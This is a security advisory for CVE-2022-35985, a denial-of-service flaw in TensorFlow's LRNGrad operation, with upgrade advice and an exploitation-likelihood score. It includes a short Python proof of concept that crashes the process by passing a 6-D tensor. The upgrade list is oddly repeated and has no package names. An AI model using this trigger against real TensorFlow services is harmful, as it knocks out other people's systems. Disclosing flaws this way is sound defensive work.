CVE-2022-35985

Description

### Impact If `LRNGrad` is given an `output_image` input tensor that is not 4-D, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf depth_radius = 1 bias = 1.59018219 alpha = 0.117728651 beta = 0.404427052 input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta) ``` ### Patches We have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

How to fix CVE-2022-35985

To remediate CVE-2022-35985, upgrade the affected package to a fixed version below.

• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later
• —upgrade to 2.7.2 or later

Is CVE-2022-35985 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.